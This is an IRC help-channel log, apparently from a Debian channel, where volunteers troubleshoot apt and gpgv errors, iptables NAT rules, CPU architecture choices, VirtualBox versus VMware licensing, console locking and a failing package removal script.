| 00:00.28 | simonrvn | man screen; lock |
| 00:00.30 | squisher | Slyboots: the output of gpgv was correct, no idea what is causing the problem then |
| 00:00.35 | gryfie | hi@all |
| 00:00.54 | Slyboots | Great.. |
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| 00:01.44 | Slyboots | Should there not be a file /root/.gnupg/trustedkeys.gpg? |
| 00:01.48 | gryfie | If I would use a mobile for connecting to the internet..... I just use it like a usual modem, and tell em with hayes at-comands what to do? |
| 00:01.52 | Slyboots | Because its not there |
| 00:02.30 | jelly-home | Silvia: you'll be wanting to read up from lartc.org then and visit the channels above (<geo-rge> #networking, #netfilter, #iptables (channels) |
| 00:02.57 | geo-rge | also here: |
| 00:03.03 | Silvia | jelly-home, so i need some help from iptables and routing |
| 00:03.18 | gryfie | Is a working mobile-connection not much easier to get running, compared to a wireless-lan connection with wap2? (in generall) |
| 00:03.23 | geo-rge | http://www.netfilter.org/documentation/index.html |
| 00:03.29 | Silvia | i need rules for routing all incoming trafiic to this ip, to LAN1 |
| 00:03.52 | Silvia | and all outgoing trafiic from LAn1 to inet go out with ip2 |
| 00:03.57 | Silvia | and all outgoing trafiic from LAn1 to inet go out with ip |
| 00:04.05 | Silvia | just thet |
| 00:04.16 | geo-rge | so you don't want masq? |
| 00:04.29 | Silvia | geo-rge, no. |
| 00:04.39 | Silvia | i need it give it a ip public. |
| 00:04.42 | simonrvn | he's in #iptables too... |
| 00:04.48 | Silvia | no help there... |
| 00:04.54 | Slyboots | . . . |
| 00:05.00 | Slyboots | well this is going well ;) |
| 00:05.18 | jelly-home | Slyboots: do you at least have that directory? |
| 00:05.37 | Silvia | this should works, bit fails |
| 00:05.37 | Silvia | iptables -t nat -A PREROUTING -i eth0 -d PUBLIC -j DNAT --to-destination 192.168.1.3 |
| 00:05.38 | Silvia | iptables -t nat -A POSTROUTING -o eth0 -d 192.168.1.3 -j SNAT --to-source PUBLIC |
| 00:05.38 | Silvia | echo 1 > /proc/sys/net/ipv4/ip_forward |
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| 00:05.44 | Slyboots | .gnugu exists.. |
| 00:05.47 | Slyboots | But the folder is empty |
| 00:05.59 | jelly-home | Slyboots: .gnupg ? |
| 00:06.08 | Slyboots | Yea? |
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| 00:06.18 | Silvia | sorry flood! |
| 00:06.23 | simonrvn | try speaking more clearly, then maybe people can help you... |
| 00:06.36 | Silvia | iks,,, |
| 00:06.43 | cafuego | Silvia: Well, for one iptables won't know what "PUBLIC" is. |
| 00:06.43 | Ghiottone | any help for me? I want to install ia64 debian but iso are broken |
| 00:06.50 | Grandie | Is it possible for anyone to get into my screen session if I lock it? |
| 00:06.59 | simonrvn | Ghiottone: are you sure you need ia64? |
| 00:06.59 | cafuego | Ghiottone: You want to install ia64? Are you insane? |
| 00:07.05 | Slyboots | Thats the folder that gnuv looks at /root/.gnupg |
| 00:07.09 | jelly-home | cafuego: I bet they have PUBLIC defined in /etc/networks! :-D |
| 00:07.18 | Slyboots | But its just an empty folder |
| 00:07.26 | simonrvn | !folder |
| 00:07.27 | dpkg | folder is a directory damn it! near My Computer and Network Neighborhood... or the things you put in a filing cabinet. IMAP protocol's mailboxes. |
| 00:07.32 | cafuego | Slyboots: is / read-only? |
| 00:07.39 | Ghiottone | errr, simonrvn and cafuego why? |
| 00:07.44 | Slyboots | cafuego: Eh? |
| 00:07.47 | cafuego | Ghiottone: What cpu do you have? |
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| 00:08.03 | Ghiottone | intel dual core T7500 |
| 00:08.05 | jelly-home | Ghiottone: the correct architecture for you is amd64 |
| 00:08.07 | simonrvn | !ia64 |
| 00:08.07 | dpkg | it has been said that ia64 is (Intel Architecture-64), a 64-bit processor architecture developed in cooperation by Intel and Hewlett-Packard, implemented by processors such as Itanium and Itanium 2. The goal of Itanium was to produce a "post-RISC era" arch using EPIC. see http://www.debian.org/ports/ia64/ -- if your CPU is opteron/athlon64/turion/sempron/xeon/em64t/pentium/core2duo/core*, then it is NOT ia64 |
| 00:08.08 | cafuego | That's not ia64. |
| 00:08.20 | simonrvn | Ghiottone: ^^^ |
| 00:08.23 | cafuego | Ghiottone: If you're going to run desktop, get i386. |
| 00:08.37 | Nyle | simonrvn, may I message you? |
| 00:08.43 | simonrvn | Nyle: shoot |
| 00:08.50 | cafuego | Ghiottone: If you're goijng to run a server that will NOT be doing java, use amd64 |
| 00:09.09 | Slyboots | So.. uh.. |
| 00:09.14 | Ghiottone | oh |
| 00:09.15 | Ghiottone | I see |
| 00:09.19 | Ghiottone | thanks |
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| 00:09.32 | Ghiottone | why doesn't java works? |
| 00:09.36 | geo-rge | Ghiottone: it looked good tho, didn't it :) |
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| 00:09.49 | squisher | Slyboots: run 'mount' and see what it says about / |
| 00:09.49 | Ghiottone | geo-rge, yeah. too good |
| 00:09.58 | cafuego | Ghiottone: it dos, but amd64 support isn't as good as i386. |
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| 00:10.20 | cafuego | If the ia64 image is broken, nobody noticed it because nobody owns that hardware ;-) |
| 00:10.37 | Slyboots | - / on type ext3 (rw,errors=remount-ro) |
| 00:10.44 | Ghiottone | would I have some benefits from packages compiled for amd64 instad for i386? would they be optimized? |
| 00:10.49 | geo-rge | then I'm confuised... why have that arch? |
| 00:10.57 | cafuego | Slyboots: touch /bing; rm /bing |
| 00:11.07 | Ghiottone | cafuego, I see. well I just noticed that they don't boot |
| 00:11.12 | cafuego | geo-rge: Logically, you are nobody. |
| 00:11.16 | valdyn | Ghiottone: for most needs and purposes special optimisation does nothing useful |
| 00:11.23 | Slyboots | I can write to / |
| 00:11.34 | cafuego | ok |
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| 00:11.38 | geo-rge | cafuego: I don't have that hardware either :P |
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| 00:11.59 | valdyn | Ghiottone: i.e. you computer is usually waiting for i/o that no optimisation can speed up |
| 00:12.07 | geo-rge | Ghiottone: amd64-compiled stuff will not work on your machine |
| 00:12.08 | jelly-home | cafuego: btw, there _is_ java for amd64, just no plugin |
| 00:12.24 | Ghiottone | I see |
| 00:12.27 | cafuego | geo-rge: ia64 used to be the new-and-coming thing, until amd release x86_64, which turned out to be about 10x cheaper than ia64 |
| 00:12.28 | valdyn | and there's even a plugin |
| 00:12.28 | jelly-home | geo-rge: uh, no |
| 00:12.30 | Ghiottone | I'll go for i386 then |
| 00:12.32 | Slyboots | Shouldnt this just be working by default? |
| 00:12.37 | valdyn | jelly-home: just not from sun |
| 00:12.48 | jelly-home | valdyn: from Sun too! |
| 00:12.50 | Slyboots | I mean, This has only been installed for about 10 mins and I've not touched a thing and the system is already busted |
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| 00:12.58 | Ghiottone | thank you all very much! you were really helpful |
| 00:12.59 | cafuego | valdyn: An old one that likes to kill firefox, which isn't particularly useful. |
| 00:13.02 | jelly-home | valdyn: "Linux x64 Platform - Java(TM) SE Development Kit 6 Update 3" |
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| 00:13.20 | jelly-home | valdyn: sorry, I missed a line |
| 00:14.04 | valdyn | i was talking about java-gcj-compat-plugin, which isnt that bad really |
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| 00:14.17 | squisher | Slyboots: does your system have the correct date set? |
| 00:14.19 | geo-rge | Ghiottone: i386 is the original arch, from when linux was first born (and... it was then that Linus Torvalds had this mistaken idea about the future that there would never be a linux for a different arch...) |
| 00:14.27 | valdyn | ( but i didn't try alot.. ) |
| 00:14.32 | Slyboots | Huh, No... |
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| 00:15.05 | jelly-home | valdyn: I bet my favourite IP KVM software wouldn't run on it :-( |
| 00:15.20 | cafuego | geo-rge: amd64 stuff will run just fine on a core2 |
| 00:15.28 | squisher | Slyboots: well, set it and try running the apt-get update again |
| 00:15.33 | geo-rge | it will? |
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| 00:15.40 | Wyzard | Java works fine on AMD64 |
| 00:15.42 | cafuego | Why wouldn't it? |
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| 00:15.45 | jelly-home | s/it will run/runs/ |
| 00:15.48 | Wyzard | There's just no browser plugin for applets |
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| 00:16.09 | Slyboots | Ahh! that fixed it |
| 00:16.11 | Slyboots | How ewird |
| 00:16.19 | cafuego | geo-rge: amd64 == e64mt == x86_64 |
| 00:16.28 | Wyzard | == "Intel 64" too |
| 00:16.36 | jelly-home | = x64 |
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| 00:16.39 | geo-rge | they're all the same arch? |
| 00:16.44 | cafuego | geo-rge: yep |
| 00:16.45 | Slyboots | Thanks squisher :D |
| 00:16.57 | cafuego | geo-rge: renamed due to marketing |
| 00:17.12 | geo-rge | debian marketing? |
| 00:17.13 | cafuego | geo-rge: It wouldn't look good if intel sold "amd64" hardware eh. |
| 00:17.20 | Wyzard | geo-rge: "amd64" is AMD's name, obviously... "em64t" and now "Intel 64" are Intel's names for their implementation, and "x86_64" and "x64" are non-vendor-specific names |
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| 00:17.36 | squisher | Slyboots: np. I recommend next time to just employ google -- I had no clue about the issue, but checking 2-3 links from "apt-get update gpgv" came up with the answer |
| 00:17.47 | geo-rge | ok, which of those does debian have? |
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| 00:18.09 | jelly-home | geo-rge: they're all the same! |
| 00:18.31 | jelly-home | geo-rge: debian calls it amd64 |
| 00:18.37 | geo-rge | so then debian has one, called amd64 |
| 00:18.39 | Wyzard | geo-rge: Debian's 64-bit x86 port uses the name "amd64", though some programs refer to "x86_64" |
| 00:18.56 | Wyzard | geo-rge: I'm running "amd64" Debian on a Core 2 Duo right now |
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| 00:20.23 | geo-rge | what's a c2d? |
| 00:20.28 | cafuego | core 2 duo |
| 00:20.32 | geo-rge | ahh |
| 00:20.45 | cafuego | some newish P4's can run it too |
| 00:20.58 | cafuego | and core / core duo I think |
| 00:21.18 | cafuego | Pretty much anything less then 4 years old, i'd say |
| 00:21.45 | Slyboots | apt fglrx? |
| 00:21.54 | valdyn | !ati drivers |
| 00:21.55 | dpkg | If you wish to use ATI's closed-source binary fglrx driver, then follow the instructions on http://stanchina.net/~flavio/debian-official/fglrx-driver.html - do NOT try to convert the drivers from ATI's website yourself with Alien. These drivers support Radeon 8500 or higher cards. |
| 00:22.14 | Slyboots | Is 2006 the last update? |
| 00:22.22 | geo-rge | are there known incompatibilities between amd64 chips and c2ds? |
| 00:22.33 | Slyboots | (on the fglrx driver) |
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| 00:22.47 | valdyn | [2007-08-15] Accepted 8.40.4-2 in unstable (low) (Romain Beauxis) |
| 00:24.17 | cafuego | geo-rge: Yes, they're not socket-compatible. |
| 00:24.38 | geo-rge | but softwarewise they are identical? |
| 00:24.39 | Wyzard | geo-rge: Software-wise, not that I know of |
| 00:25.22 | Wyzard | geo-rge: They have different implementations of hardware virtualization (Intel VMX vs. AMD SVM), but that's an optional feature that most software doesn't use, and those which do generally support both |
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| 00:25.52 | Wyzard | geo-rge: (kinda like MMX vs. 3DNow!) |
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| 00:28.50 | Sebboh | wow after skimming over that conversation I'm glad that I only have old hardware. :/ |
| 00:28.56 | jelly-home | Wyzard: I bets wikipedia knows more than you! |
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| 00:29.04 | Wyzard | probably |
| 00:29.05 | geo-rge | cool... somehow I ended up with a cpu with svm |
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| 00:29.25 | Wyzard | geo-rge: All AMD's current processors support SVM, I believe |
| 00:29.42 | geo-rge | good to know |
| 00:30.08 | jelly-home | to put it to work your BIOS needs to support it (and the feature be enabled) too. |
| 00:30.08 | Sebboh | and most software that might take advantage of SVM can also take advantage of VMX, afaik. ie, xen/HM |
| 00:30.15 | Sebboh | HVM* |
| 00:30.42 | Wyzard | I *think* VMware can use it behind-the-scenes for better performance, though I'm not sure of that |
| 00:30.45 | jelly-home | or kvm. or virtualbox |
| 00:31.13 | jelly-home | vmware-server (at least the one for linux) doesn't do it yet, afaict |
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| 00:31.31 | geo-rge | Sebboh: there's a certain barrier to entry... you might need to cross over, it involves different mobo, different memory, different slots, maybe different disks (sata rather than pata) |
| 00:31.37 | Wyzard | I use Workstation, and I get messages in my logs saying "/dev/vmmon[28065]: HV check: anyNotCapable=0 anyUnlocked=0 anyEnabled=1 anyDisabled=0" |
| 00:31.50 | geo-rge | I found a fairly cheap way to cross over |
| 00:32.09 | jelly-home | Wyzard: could be, workstation is usually more advanced than the free version |
| 00:32.26 | jelly-home | Wyzard: vmware-server doesn't do usb2 yet, for example |
| 00:32.41 | geo-rge | the motherboard has all i/o, just plug cpu, mem, monitor, kb, mouse |
| 00:32.54 | Wyzard | yeah, Server 1.0 corresponds to Workstation 5, and USB2 was new in Workstation 6 |
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| 00:33.34 | geo-rge | is there a backport of the latest etch kernel that uses later xen? |
| 00:33.50 | jelly-home | Wyzard: I got away with (non-free but $0) virtualbox binary, which is kinda buggy but has usb2 |
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| 00:34.37 | Wyzard | jelly-home: I've installed vbox, but haven't tried it out yet |
| 00:35.03 | jelly-home | Wyzard: imagine a free software clone of vmware. |
| 00:35.30 | jelly-home | Wyzard: instead of 1.5.0, slap a 0.8 version on it. |
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| 00:35.53 | jelly-home | that's more realistic. :-) |
| 00:35.57 | Wyzard | jelly-home: though I have to say, it made a poor first impression with its ugly UI... looks like some old toolkit, and horrible font rendering |
| 00:36.03 | geo-rge | they're saying 3.0.3 is the first xen that does HVM (sp?) and there are probbaly bugs |
| 00:36.06 | Grandie | Any bitlbee users around? |
| 00:36.22 | geo-rge | just |
| 00:36.25 | geo-rge | !ask |
| 00:36.25 | dpkg | If you have a question, just ask! For example: "I have a problem with ___; I'm running Debian version ___. when I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, or if anyone uses it, or pick one person to ask (ask the whole channel!). We're all volunteers; make it easy for us to help you. If you don't get an answer, ask later or ask debian-user@lists.debian.org |
| 00:36.31 | Wyzard | jelly-home: though running ldd on it, it looks like it uses QT, so maybe it's just because I lack theme settings for QT |
| 00:36.55 | Grandie | how to connect to a bitlbee network after you have added it? |
| 00:36.58 | Grandie | can't really find it |
| 00:37.02 | jelly-home | Wyzard: you probably don't have KDE or other Qt prettifying theme/engine |
| 00:37.04 | enn | does ndiswrapper support access point mode? |
| 00:37.09 | Wyzard | yeah |
| 00:37.28 | Wyzard | time to install KUbuntu in VMware to do a quick check of how VirtualBox looks in a QT environment :-) |
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| 00:39.30 | Wyzard | enn: I don't think so, though I'm not certain |
| 00:39.37 | enn | thanks |
| 00:39.51 | Wyzard | enn: I believe the NDIS API itself only supports client mode |
| 00:40.04 | Wyzard | enn: WG511? |
| 00:40.04 | Grandie | Can anyone tell me how it is possible to absolutely lock your screen session from everyone else? |
| 00:40.09 | enn | Wyzard: WG311 |
| 00:40.12 | Wyzard | ah |
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| 00:40.33 | jelly-home | Wyzard: install kcontrol on the system with aptitude, and later purge it (and its cohort of dependencies) |
| 00:40.39 | enn | thought I was getting the one with an Atheros chipset, but apparently it's a Marvell thing that's only supported via ndiswrapper ... and I was planning to run an AP with it |
| 00:40.42 | Mr_Bunny_ | Grandie: Desktop -> Lock Screen Is that what you're looking for? |
| 00:41.05 | Nihill | wget just found the download at a different address than I put in. Didnt know it did that |
| 00:41.14 | Wyzard | jelly-home: I'd rather not have QT dotfiles in my home directory |
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| 00:41.39 | Wyzard | enn: I use a Linksys WRT54GL running OpenWRT as my access point |
| 00:41.43 | jelly-home | Wyzard: if vmware works well for you, no need to use this one yet. Windows XP might be running mirginally faster than on vmware-server, but that's my subjective opinion. However, every now and then resuming saved state just fails, or clicking [reset] machine doesn't work. Basic functionality being buggy, it'd say it's between alpha and beta state. |
| 00:42.07 | Wyzard | jelly-home: yeah, I'm not actually planning on switching to vbox... I'm just curious about the QT thing |
| 00:42.46 | enn | Wyzard: yeah, might just end up buying an AP instead of trying to set one up with a PCI card |
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| 00:46.07 | Grandie | Mr_Bunny_: I only use bash shell |
| 00:46.13 | Grandie | Mr_Bunny_: don't use gui |
| 00:46.30 | Mr_Bunny_ | Grandie: I'm not aware of a way to lock the screen for a shell, sorry. |
| 00:46.39 | Grandie | k |
| 00:46.42 | Grandie | anyone else maybe? |
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| 00:47.17 | jelly-home | Grandie: if it's a linux console, vlock |
| 00:47.47 | Grandie | how does that work? |
| 00:48.28 | Grandie | jelly-home: can you tell me? |
| 00:48.46 | jelly-home | Grandie: no idea on how does it do its job |
| 00:49.03 | Grandie | ok, anyone knows this? |
| 00:49.40 | CutMeOwnThroat | Grandie, vlock |
| 00:49.50 | jelly-home | Grandie: UTSL! |
| 00:50.03 | jelly-home | !utsl |
| 00:50.03 | dpkg | i guess utsl is Use The Source, Luke (loose translation: you think this has *comments*, huh?). If it was hard to write, it should be hard to understand. |
| 00:50.10 | CutMeOwnThroat | ops, too late :) |
| 00:50.17 | Grandie | !! |
| 00:50.17 | dpkg | I'm not your csh prompt! |
| 00:50.19 | mne | hi. I want to disable password-based ssh authentication for my user (on a per-user basis). sshd also reads $HOME/.ssh/config, so my plan was to but a "PasswordAuthentication no" in there. Unfortunately, the global config file in /etc/ssh/ is read first. any suggestions ? |
| 00:51.04 | jelly-home | Grandie: I mean, if you're asking on details of the implementation, the best start is by looking at the source |
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| 00:51.32 | CutMeOwnThroat | ... or read the manpage |
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| 00:51.53 | jelly-home | the manpage doesn't say much on "<Grandie> how does that work?" |
| 00:51.59 | CutMeOwnThroat | I think the one for vlock is actually explaining a bit how it works....being important for a program like that |
| 00:52.30 | CutMeOwnThroat | yes, I think it does.... but I read it.... more than 8 years ago, so I might be ... not a 100% correct :) |
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| 00:53.02 | jelly-home | it basically says what, not how |
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| 00:53.45 | CutMeOwnThroat | true.. thought there was a bit more |
| 00:54.19 | CutMeOwnThroat | about that virtualbox, is virtualbox-ose all you need for it? |
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| 00:54.47 | Wyzard | CutMeOwnThroat: There's virtualbox-ose-modules too, I believe |
| 00:54.50 | CutMeOwnThroat | and you said its non-free, but $0, while the package itself says " VirtualBox is a free PC virtualization solution " |
| 00:55.11 | Wyzard | CutMeOwnThroat: "VirtualBox OSE" is free, GPL software |
| 00:55.14 | jelly-home | CutMeOwnThroat: the source is under GPL, but their own package isn't |
| 00:55.25 | Wyzard | CutMeOwnThroat: "VirtualBox" is $0 for personal and academic use, but non-free |
| 00:55.47 | Wyzard | The OSE version lacks a few "enterprise" features |
| 00:55.53 | CutMeOwnThroat | ok |
| 00:55.58 | CutMeOwnThroat | sounds useful anyways |
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| 00:56.25 | jelly-home | Wyzard: that is the binary. Since the source is GPL, one could eg. package it for Debian and use it for commercial or any other purpose |
| 00:57.03 | Wyzard | jelly-home: Not all the source is GPL |
| 00:57.19 | CutMeOwnThroat | always kind of liked vmware for when you absolutely cannot avoid windows, but would not want to spend the $$$ or fiddle around too much with it |
| 00:57.23 | jelly-home | Wyzard: the bits they say are under GPL, and under GPL :-) |
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| 00:57.29 | jelly-home | s/and/are/ |
| 00:57.35 | Wyzard | jelly-home: That's the difference between the OSE version and the "full" version: whether it's built with the non-free components included |
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| 00:58.15 | geo-rge | if it' |
| 00:58.36 | Wyzard | and... VirtualBox does indeed look much nicer on a KDE desktop where QT themes are configured |
| 00:58.46 | geo-rge | s built with the non-free components, it's probably undistributable under the gpl so they relicense it |
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| 00:58.53 | Wyzard | CutMeOwnThroat: Well, VMware Server is also $0 |
| 00:59.11 | Wyzard | geo-rge: They're the original copyright holders, so they're not bound by the license on their own code |
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| 00:59.35 | jelly-home | Wyzard: and has even weirder restrictions (like "no publishing benchmarks") |
| 00:59.41 | Wyzard | geo-rge: They give *you* a subset of the code under the GPL, but they can do whatever they want with the full codebase themselves |
| 00:59.54 | CutMeOwnThroat | well, guess so... I think I started out dl/trying it... it wasnt 10 years back, though iirc |
| 00:59.54 | geo-rge | right |
| 00:59.57 | jelly-home | Wyzard: just like Xen Source. |
| 01:00.09 | Wyzard | CutMeOwnThroat: I've found VMware Workstation useful enough to be worth the price, though |
| 01:00.17 | illvarg | I can't seem to get a package out of my system. I'm running debian lenny. used: deb http://edevelop.org/debian/ unstable main, installed entrance. got this error when remove or purgeing the package: /usr/share/debconf/confmodule: line 42: 3: Bad file descriptor. how do I solve this? |
| 01:00.35 | Wyzard | and convenient enough -- UI-wise it's way ahead of qemu or Xen or whatever |
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| 01:01.03 | CutMeOwnThroat | Wyzard, I guess it definitely is, if you have to run windows stuff (which doesnt run under wine) - but I was pretty lucky, i didnt need to for a long time |
| 01:01.45 | CutMeOwnThroat | illvarg, perhaps look up what the line sais :) |
| 01:01.49 | geo-rge | illvarg: mixing sid and testing wasn't a good thing to do... so, can you restore from your backup? |
| 01:01.54 | Wyzard | CutMeOwnThroat: I run Linux in it too... I'm currently using a pair of VMs on an isolated virtual LAN to test a DHCP proxy daemon I wrote |
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| 01:02.41 | Wyzard | geo-rge: http://www.virtualbox.org/wiki/Editions has a list of the differences |
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| 01:03.24 | illvarg | geo-rge: I know, but I was looking for the latest release of e17, gave it a shot. |
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| 01:03.42 | jelly-home | illvarg: like any other problem with install scripts, debug and mess with them. insert "set -x" as the second line of the offending script and see what fails. |
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| 01:04.24 | geo-rge | waltercool: we hardly knew ye! |
| 01:04.26 | rcy | is it possible to netboot .iso? |
| 01:04.56 | jelly-home | illvarg: the offending script will be one of /var/lib/dpkg/info/packagename.*rm |
| 01:04.57 | CutMeOwnThroat | hehe |
| 01:04.57 | CutMeOwnThroat | jelly-home, "mess with them"? :) |
| 01:04.57 | waltercool | geo-rge: i have some probs... |
| 01:04.57 | waltercool | wait... |
| 01:05.16 | geo-rge | theregoesagain! |
| 01:05.22 | jelly-home | CutMeOwnThroat: usually boils down to a strategically placed exit 0 :-) |
| 01:05.53 | CutMeOwnThroat | jelly-home, just meant... thats a very general advice, applicable to almost everything .. "hey, just mess with it a bit" |
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| 01:06.20 | Wyzard | rcy: no |
| 01:06.41 | rcy | Wyzard: i didnt think so, didnt make sense to me, but someone suggested it was possible |
| 01:06.48 | geo-rge | CutMeOwnThroat: could apply to marital relations too... |
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| 01:07.25 | CutMeOwnThroat | geo-rge, well... in both cases I would like to add the safeguard "but dont mess with it too much!!!!!!1111" |
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| 01:07.43 | Wyzard | rcy: Well, if you have some high-end machine that supports booting from iSCSI devices, you could share a remote CD drive on the network via iSCSI |
| 01:07.44 | jelly-home | CutMeOwnThroat: yeah, but narrowing "it" from the whole package to one of two possible shell scripts is a bit more helpful |
| 01:07.53 | Wyzard | rcy: but you can't do it with PXE |
| 01:08.15 | CutMeOwnThroat | or short "dont mess up" |
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| 01:08.42 | jelly-home | impossible. |
| 01:09.15 | jelly-home | illvarg: also, tell edevelop guys their packages suck. |
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| 01:09.57 | waltercool | im trying to do a dvd with 6 different distros, how can i do that? using grub o something... i need load the .iso or something :S someone know? |
| 01:10.35 | stiv2k | hey, can i use my MP3 player's hooked up to my server to share all my music? i.e..... does linux mount USB mass storage devices in a folder that could be shared amongst people |
| 01:10.43 | stiv2k | MP3 player's hard drive**** i mean |
| 01:10.52 | illvarg | jelly-home: I will :p set -x in entrance.*, error:http://pastebin.com/d19985f48 |
| 01:11.32 | Wyzard | waltercool: I don't think GRUB supports chainloading CD images |
| 01:11.40 | CutMeOwnThroat | stiv2k, sure, whatever you mount will be like any other mounted thing |
| 01:12.00 | waltercool | Wyzard: mmm... or uncompressing iso files and doing a pointer? |
| 01:12.11 | Wyzard | waltercool: so you can't just put six .iso files on a DVD and use GRUB to chainload one of them |
| 01:12.13 | stiv2k | CutMeOwnThroat: awesome... have you ever heard of people doing that before though?? |
| 01:12.26 | stiv2k | like, is it safe to leave the MP3 player on like that all the time |
| 01:12.36 | jelly-home | illvarg: send that pastebin to the maintainers of that package. |
| 01:12.39 | stiv2k | CutMeOwnThroat: or does its hard drive perform like any other |
| 01:12.44 | Wyzard | waltercool: You could copy all the files from each into separate subdirectories in a single big filesystem, but having everything located at a different path would probably confuse the respective installers |
| 01:12.45 | CutMeOwnThroat | dunno what you understand as an "MP3 player" |
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| 01:13.01 | stiv2k | CutMeOwnThroat: ?? |
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| 01:13.13 | CutMeOwnThroat | depends what it uses for storage? |
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| 01:13.18 | waltercool | Wyzard: But... how can i make a grub booteable? |
| 01:13.21 | stiv2k | CutMeOwnThroat: it has a 20 GB hard drive |
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| 01:13.34 | CutMeOwnThroat | some are like memory sticks and there the limitations for memory sticks apply |
| 01:13.39 | jelly-home | stiv2k: if it's flash based, make sure nothing can write on it |
| 01:13.54 | stiv2k | CutMeOwnThroat: i dont think they make 20 GB memory sticks |
| 01:13.57 | stiv2k | jelly-home: flash based??? |
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| 01:14.13 | Wyzard | waltercool: GRUB has a stage2_eltorito file for CD booting... I guess you'd make a bootable CD and set that to be the boot image |
| 01:14.25 | CutMeOwnThroat | stiv2k, sounds like you should have not trouble... read in the documentation of the player if they have any warnings about running it 24/7, perhaps :) |
| 01:14.30 | geo-rge | how big do they make for an amd64 system? |
| 01:14.35 | stiv2k | CutMeOwnThroat: good idea |
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| 01:14.52 | Wyzard | geo-rge: How big does who make what? |
| 01:15.02 | stiv2k | lamo |
| 01:15.04 | stiv2k | lmao* |
| 01:15.07 | CutMeOwnThroat | but I think these are just using normal (lap/palm/whatever-top) harddisks, and I would guess these should be ok with running all the time |
| 01:15.16 | geo-rge | ram sticks |
| 01:15.28 | geo-rge | howbout kingston |
| 01:15.48 | waltercool | Wyzard: searching some related of stage2_eltorito... |
| 01:15.52 | Wyzard | geo-rge: The "for an amd64" system part of your question doesn't make sense... the size of a flash drive has nothing to do with what type of processor you have |
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| 01:16.13 | geo-rge | well I have an asus m2npv-vm mobo |
| 01:16.31 | Wyzard | geo-rge: oh, you're talking about regular RAM, not flash |
| 01:16.38 | geo-rge | oh, you were talking about flash ram? |
| 01:16.39 | Wyzard | geo-rge: Still, it doesn't matter what type of processor you have |
| 01:16.53 | Wyzard | geo-rge: DIMMs are DIMMs -- buy whatever kind your motherboard supports |
| 01:16.54 | geo-rge | it matters what slot is on the mobo |
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| 01:17.30 | Wyzard | geo-rge: yeah, but that's different types (i.e. DDR vs. DDR2) and speeds |
| 01:17.43 | Wyzard | geo-rge: Your motherboard's manual will tell you what type(s) of RAM it supports |
| 01:17.51 | geo-rge | I think ddr2 |
| 01:17.55 | rcbarnes | If I'm switching from etch to testing, is there anything in particular that I should watch out for, or can I just :% s/etch/testing/ in sources list and update/dist-upgrade? |
| 01:18.01 | illvarg | jelly-home: sent. tnx for helping out :) |
| 01:18.07 | Wyzard | geo-rge: Look for names like PC-4200 or whatever |
| 01:18.09 | geo-rge | and one thing I'm wondering is do they have 4g sticks? |
| 01:18.24 | Wyzard | geo-rge: and your motherboard might have an upper limit on how much RAM it supports |
| 01:18.43 | jelly-home | illvarg: if you just want to remove it and don't care about some cruft left on the system, you can put "exit 0" instead of set -x |
| 01:18.45 | geo-rge | I'm looking to run 10g :) |
| 01:18.48 | Wyzard | geo-rge: but there's no such thing as RAM "for amd64 systems" vs. RAM "for x86 systems" |
| 01:19.00 | geo-rge | that part I understand |
| 01:19.08 | Wyzard | waltercool: /usr/lib/grub/i386-pc/stage2_eltorito |
| 01:19.19 | Wyzard | geo-rge: From your question, it sounded like that was what you were asking about |
| 01:19.27 | CutMeOwnThroat | rcbarnes, you leave stable in sources.list and just add testing |
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| 01:19.49 | geo-rge | well you can delete that part... I'm looking for ddr2 ram, not sure how fast yet |
| 01:20.18 | jelly-home | illvarg: entrance.prerm is the failing script. |
| 01:20.58 | rcbarnes | CutMeOwnThroat leave it in? I just replaced all instances of etch... should there be both for some reason? |
| 01:21.04 | waltercool | Wyzard: Wow... but what does stage2_eltorito? |
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| 01:21.18 | Wyzard | geo-rge: FWIW, I'm looking on newegg.com, and the only 4GB options I see in the memory section are 2x2GB configurations |
| 01:21.27 | CutMeOwnThroat | rcbarnes, some packages might not have a testing variant (because there are no newer versions) |
| 01:21.47 | geo-rge | Wyzard: so I'd have to replace my 2x1g |
| 01:21.58 | geo-rge | I was afraid of that |
| 01:22.05 | Wyzard | waltercool: It's a copy of GRUB that's meant to be loaded as the boot image of an El Torito bootable CD, presumably |
| 01:22.25 | rcbarnes | CutMeOwnThroat: Oh. I assumed there'd be a symlink on the server or something for cases like that. |
| 01:22.27 | Wyzard | geo-rge: I think you're going to have to look at server motherboards if you want to install 10GB of RAM |
| 01:22.38 | CutMeOwnThroat | rcbarnes, also... look out for bugs, testing has a lot of them :) (I usually keep the system at stable and just replace applications that I feel I need in a more recent version - although the guys here will disapprove about me telling that, because they say it can create problems) |
| 01:22.41 | illvarg | jelly-home: can't run dpkg-reconfigure gdm, same error. waiting for maintainers to fix the pkg. want a clean system. |
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| 01:23.12 | rcbarnes | CutMeOwnThroat: Yeah, I'm on 64-bit, and I've had to do more of that than I like mantaining. |
| 01:23.17 | geo-rge | I'm willing to wait until they have 2x4g. at least for awhile |
| 01:23.29 | rcbarnes | thanks to lots of stuff needing to be ported/fixed for 64 |
| 01:23.31 | rcbarnes | :-/ |
| 01:23.57 | waltercool | Wyzard: Wow... i haven't heared of that, mmm..., and in debian, i need point to some file for run the installer? |
| 01:23.58 | Wyzard | rcbarnes: I've been running amd64 Debian since January and I've found very few things that aren't available |
| 01:24.00 | CutMeOwnThroat | well, use the 32bit version :) |
| 01:24.35 | Wyzard | waltercool: You could look at the official Debian CD to see what it runs |
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| 01:25.13 | geo-rge | unfortunately the things that aren't available aren't easy to fix, because you'd have to fix the compiler's machine description/code generation backend |
| 01:25.32 | Wyzard | waltercool: but if you want to have six different installers on one disc, you're going to have to put them in separate directories to avoid conflicts |
| 01:25.36 | rcbarnes | Wyzard: well, off the top of my head, I've had some java issues, and nothing resembling a decent SNES emulator can be found |
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| 01:25.52 | waltercool | Wyzard: yeah, i know, with all files uncompressed |
| 01:26.11 | rcbarnes | And I'm in HCI, so I like to play with stuff fairly soon after feature announcements to keep up on what people are doing. |
| 01:26.33 | Wyzard | waltercool: so you'll probably need to do some trickery involving chrooting before running the original installer |
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| 01:27.08 | Wyzard | rcbarnes: There's no 64-bit Sun Java browser plugin for applets, but standalone Java stuff works fine... I use both Eclipse and Azureus on this machine |
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| 01:27.56 | waltercool | Wyzard: mmm... i know..., but trying to execute like root only, or not? |
| 01:28.11 | Wyzard | rcbarnes: haven't looked for any SNES emulators... but that's pretty insignificant compared to how much stuff works fine (all of GNOME, apache, databases, etc.) |
| 01:28.23 | Wyzard | waltercool: I don't know what you mean by that |
| 01:28.40 | Grandie | How to set an alias again ? |
| 01:28.49 | Grandie | eh, where* |
